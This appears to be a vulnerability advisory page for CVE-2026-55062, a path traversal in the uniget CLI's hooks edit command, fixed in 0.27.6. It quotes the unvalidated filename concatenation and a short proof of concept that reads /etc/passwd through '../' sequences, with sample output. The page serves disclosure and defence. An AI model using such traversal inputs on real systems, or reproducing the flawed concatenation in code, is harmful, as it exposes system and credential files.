CVE-2026-55062
JSON

8.4high

uniget: Path Traversal in Hook Files - Directory Escape Vulnerability

Severity
8.4high CVSS:4.0 by GitHub_M
Exploit likelihood
0.19% (higher than 9% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-m6jg-wr9m-cg2fGO-2026-6247

Description

uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks directory with the privileges of the uniget process account. This issue is fixed in version 0.27.6.

Affected

Product or packageVersionsReported by
uniget-org cli< 0.27.6CVE List
gitlab.com/uniget-org/cli (Go)before 0.27.6GitHub Advisory Database, Go Vulnerability Database

All scores

GitHub_M8.4high CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Classification

CWE-22CWE-23CWE-36CWE-73

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks directory with the privileges of the uniget process account. This issue is fixed in version 0.27.6.

GitHub Advisory Database
Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.

Details File: hooks.go Lines 135-160

hookFileName := args[0]  // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName  // Direct concatenation

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor

export EDITOR="cat"

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents

root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
image
Go Vulnerability Database

uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability in gitlab.com/uniget-org/cli

References

Sources

SourceRecordLicence
CVE ListCVE-2026-55062 changed 2026-09-23CVE Terms of Use
GitHub Advisory DatabaseGHSA-m6jg-wr9m-cg2f changed 2026-08-18CC-BY-4.0
Go Vulnerability DatabaseGO-2026-6247 changed 2026-08-18CC-BY-4.0
NVDCVE-2026-55062 changed 2026-09-30Public domain